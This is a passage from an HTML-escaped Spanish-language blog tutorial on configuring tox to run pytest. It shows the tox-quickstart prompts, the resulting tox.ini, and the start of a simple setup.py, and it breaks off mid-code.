style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt; py27, py34, py35, py36, pypy, jython&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;4&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt; Choose each one-by-one&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; Enter the number of your choice &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;3&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;: &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Cuando nos pregunte los comandos para correr las pruebas dejaremos el comando predeterminado, que es pytest, por lo que solo presionamos ENTER.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;What &lt;span style=&#34;color:#ff5c57&#34;&gt;command&lt;/span&gt; should be used to &lt;span style=&#34;color:#ff5c57&#34;&gt;test&lt;/span&gt; your project? Examples:            - pytest&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;            - python -m unittest discover&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;            - python setup.py test&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;            - trial package.module&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;gt; Type the command to run your tests [pytest]: &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Cuando nos pregunte la lista de dependencias que tenemos para nuestro proyecto, separadas por una coma, escribiremos únicamente &amp;lsquo;mock&amp;rsquo;, sin las comillas.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;What extra dependencies &lt;span style=&#34;color:#ff6ac1&#34;&gt;do&lt;/span&gt; your tests have?&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;default dependencies are: &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;pytest&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; Comma-separated list of dependencies: &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Listo, tenemos nuestro archivo tox.ini listo para usarse que puedes ver más abajo.&lt;/p&gt;&#xA;&lt;p&gt;En el archivo se especifica lo siguiente; las versiones a usarse en la prueba, en este caso Python 2.7 (py27) y Python 3.5 (py35); las dependencias, mock y pytest; y el comando con el que se llevaran a cabo las pruebas, usará la libreria pytest. Todas las secciones son personalizables y pueden usarse otros comandos como &amp;lsquo;coverage&amp;rsquo; o el que se te ocurra.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-ini&#34; data-lang=&#34;ini&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# tox (https://tox.readthedocs.io/) is a tool for running tests&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# in multiple virtualenvs. This configuration file will run the&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# test suite on all supported python versions. To use it, &amp;#34;pip install tox&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# and then run &amp;#34;tox&amp;#34; from this directory.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;[tox]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;envlist&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;py27, py35&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;[testenv]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;deps&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;    mock&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;    pytest&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;commands&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;    pytest&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;crear-un-archivo-setuppy&#34;&gt;Crear un archivo setup.py&lt;/h2&gt;&#xA;&lt;p&gt;Ahora crearemos un archivo setup.py sencillo, nada muy sofisticado, solo lo básico para poder llevar a cabo las pruebas.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# setup.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; distutils.core &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; setup&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;setup(name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;testing&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      version&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;1.0&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      description&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Tox testing&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      author&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Eduardo zepeda&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      author_email&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;your-email@domain.com&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 